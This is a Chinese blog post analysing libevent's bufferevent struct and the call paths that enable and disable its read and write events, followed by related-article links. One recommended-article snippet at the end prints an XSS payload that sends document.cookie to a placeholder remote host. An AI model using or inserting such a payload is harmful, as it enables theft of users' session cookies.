struct bufferevent定义在文件bufferevent_struct.h中。

 /**
Shared implementation of a bufferevent. This type is exposed only because it was exposed in previous versions,
and some people's code may rely on manipulating it. Otherwise, you
should really not rely on the layout, size, or contents of this structure:
it is fairly volatile, and WILL change in future versions of the code.
**/
struct bufferevent {
/** Event base for which this bufferevent was created. */
struct event_base *ev_base;
/** Pointer to a table of function pointers to set up how this
bufferevent behaves. */
const struct bufferevent_ops *be_ops; /** A read event that triggers when a timeout has happened or a socket
is ready to read data. Only used by some subtypes of
bufferevent. */
struct event ev_read;
/** A write event that triggers when a timeout has happened or a socket
is ready to write data. Only used by some subtypes of
bufferevent. */
struct event ev_write; /** An input buffer. Only the bufferevent is allowed to add data to
this buffer, though the user is allowed to drain it. */
struct evbuffer *input; /** An input buffer. Only the bufferevent is allowed to drain data
from this buffer, though the user is allowed to add it. */
struct evbuffer *output; struct event_watermark wm_read;
struct event_watermark wm_write; bufferevent_data_cb readcb;
bufferevent_data_cb writecb;
/* This should be called 'eventcb', but renaming it would break
* backward compatibility */
bufferevent_event_cb errorcb;
void *cbarg; struct timeval timeout_read;
struct timeval timeout_write; /** Events that are currently enabled: currently EV_READ and EV_WRITE
are supported. */
short enabled;
};

libevent中的event结构对应套接字的某一个事件,读或者写,bufferevent结构对应一个套接字,其中有两个event结构:evread、evwrite。

对bufferevent的操作主要有:

1、bufferevent_socket_new,分配一个bufferevent对象并初始化,该函数内部依次调用了bufferevent_init_common_、event_assign(evread)、event_assign(evwrite),在该函数中只是初始化了读写事件,并没有调用event_add,两个事件的回调函数分别是定义在bufferevent_socket.c中的bufferevent_readcb、bufferevent_writecb,传递的参数是bufferevent指针。

2、bufferevent_new,分配一个bufferevent对象并设置回调,该函数的实现其实是依次调用了bufferevent_socket_new和bufferevent_setcb。

3、bufferevent_setcb,为bufferevent结构设置readcb、writecb、eventcb。

4、bufferevent_init_common_,初始化bufferevent公共的部分成员,例如:be_ops(设置bufferevent的行为)。

5、bufferevent_enable,使bufferevent生效(前面说过,初始化的时候并未调用event_add),该函数调用bufferevent的成员be_ops.enable,根据上面bufferevent_init_common_函数可知,enable实际调用了bufferevent_ops_socket.be_socket_enable,be_socket_enable调用了bufferevent_add_event_函数,bufferevent_add_event_函数调用了event_add。所以由此可以得知,使得evread、evwrite事件有效的函数是bufferevent_enable。

6、bufferevent_disable,使bufferevent失效,该函数调用关系类似于bufferevent_enable,bufferevent_disable->bufferevent.be_ops->bufferevent_ops_socket.be_socket_disable->event_del。

按照我对libevent的理解,evwrite在写完数据应该是被设置为无效的,因为正常情况下,一个套接字一直是可写的,所以写事件一直是有效的,所以需要找到bufferevent是怎么管理evread、evwrite事件的。

bufferevent的作用就是对数据的读写做一个缓存,所以调用bufferevent_setcb函数传入的readcb、writecb、eventcb三个回调函数,其中readcb应该是读取了一些数据之后被回调的,此时数据已经被读取到了evbuffer中;而writecb应该是写入了一些数据之后被回调的,此时应该应该已经将evwrite设置为无效的了,应该在调用完send之后执行的。bufferevent封装了底层的recv和send。

在调用bufferevent_socket_new中,调用了evbuffer_add_cb函数为output(对应输出的evbuffer)设置了相应的回调函数bufferevent_socket_outbuf_cb,在该函数中调用了bufferevent_add_event_,从上面的分析可以知道该函数会使evwrite事件生效,也就是开始监听可读事件,所以这里是使evwrite生效的地方。

在bufferevent_writecb中,可以找到当output中没有数据时,确实调用了bufferevent_disable,所以这里就是使evwrite失效的地方,由此跟我上面的推测一样。

到这里,关于bufferevent的分析就结束了。

libevent源码分析:bufferevent的更多相关文章

  1. 【转】libevent源码分析

    libevent源码分析 转自:http://www.cnblogs.com/hustcat/archive/2010/08/31/1814022.html 这两天没事,看了一下Memcached和l ...

  2. Libevent源码分析 (1) hello-world

    Libevent源码分析 (1) hello-world ⑨月份接触了久闻大名的libevent,当时想读读源码,可是由于事情比较多一直没有时间,现在手头的东西基本告一段落了,我准备读读libeven ...

  3. Libevent源码分析系列【转】

    转自:https://www.cnblogs.com/zxiner/p/6919021.html 1.使用libevent库     源码那么多,该怎么分析从哪分析呢?一个好的方法就是先用起来,会用了 ...

  4. Libevent源码分析系列

    1.使用libevent库     源码那么多,该怎么分析从哪分析呢?一个好的方法就是先用起来,会用了,然后去看底层相应的源码,这样比较有条理,自上向下掌握.下面用libevent库写个程序,每隔1秒 ...

  5. libevent源码分析

    这两天没事,看了一下Memcached和libevent的源码,做个小总结. 1.入门 1.1.概述Libevent是一个用于开发可扩展性网络服务器的基于事件驱动(event-driven)模型的网络 ...

  6. libevent源码分析二--timeout事件响应

    libevent不仅支持io事件,同时还支持timeout事件与signal事件,这篇文件将分析libevent是如何组织timeout事件以及如何响应timeout事件. 1.  min_heap ...

  7. libevent源码分析一--io事件响应

    这篇文章将分析libevent如何组织io事件,如何捕捉事件的发生并进行相应的响应.这里不会详细分析event与event_base的细节,仅描述io事件如何存储与如何响应. 1.  select l ...

  8. Libevent源码分析—event_init()

    下面开始看初始化event_base结构的相关函数.相关源码位于event.c event_init() 首先调用event_init()初始化event_base结构体 struct event_b ...

  9. Libevent源码分析—event, event_base

    event和event_base是libevent的两个核心结构体,分别是反应堆模式中的Event和Reactor.源码分别位于event.h和event-internal.h中 1.event: s ...

  10. Libevent源码分析—event_add()

    接下来就是将已经初始化的event注册到libevent的事件链表上,通过event_add()来实现,源码位于event.c中. event_add() 这个函数主要完成了下面几件事: 1.将eve ...

随机推荐

  1. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  2. Centos上Docker 使用dockerfile构建容器实现ssh

    这几日在学习docker.遇到的问题数一年都数不完,网上大多数都是ubuntu的,百度或者谷歌的时候心好累.写写文档来帮助使用centos的docker爱好者们. docker基本操作这里就不介绍了 ...

  3. thinkphp自定义权限管理之名称判断

    权限管理,就是给不同的用户分配不同的权限.当用户登录或者操作时候进行判断,来阻止用户进行权限以外的操作.本次讲的是当用户登录一刻,只显示权限开启的内容. 一.建立数据库. 1.权限表funcla.来存 ...

  4. IOS第13天(2,私人通讯录,plist存储,偏好设置,归档)

    ***************plist存储 // 当点点击保存的时候调用 //保存 - (IBAction)save:(id)sender { // 获取沙盒的根路径 // NSString *ho ...

  5. response的Writer输出数据的问题

    package cn.itcast.response; import java.io.IOException; import java.io.OutputStream; import java.io. ...

  6. js中把数据库时间转为正常值

    function timeFormatter(value) { var da = new Date(parseInt(value.replace("/Date(", "& ...

  7. Tomcat负载均衡配置-未完成

    集群技术是目前非常流行的提高系统服务能力与高可靠性( HA- High Availability )的手段,通过把多个独立的服务器组成一个集群可以实现失效无缝转移.也就是说当有某一台集群中的服务器当机 ...

  8. Javacard 解释器怎样在API类库中找到源文件调用的类、方法或者静态域?

    申明:本篇非本人原创,是在阅读各种论文文献之后,对论文文献的一种梳理. 主要参考文献为: ------------------------------------------------------- ...

  9. rabbitmq之消息生命周期

    参考:http://jzhihui.iteye.com/blog/1567232

  10. java线程生命周期及其对应方法

    http://blog.sina.com.cn/s/blog_a8aa82cc0101ktrm.html http://wenku.baidu.com/view/c242df69011ca300a6c ...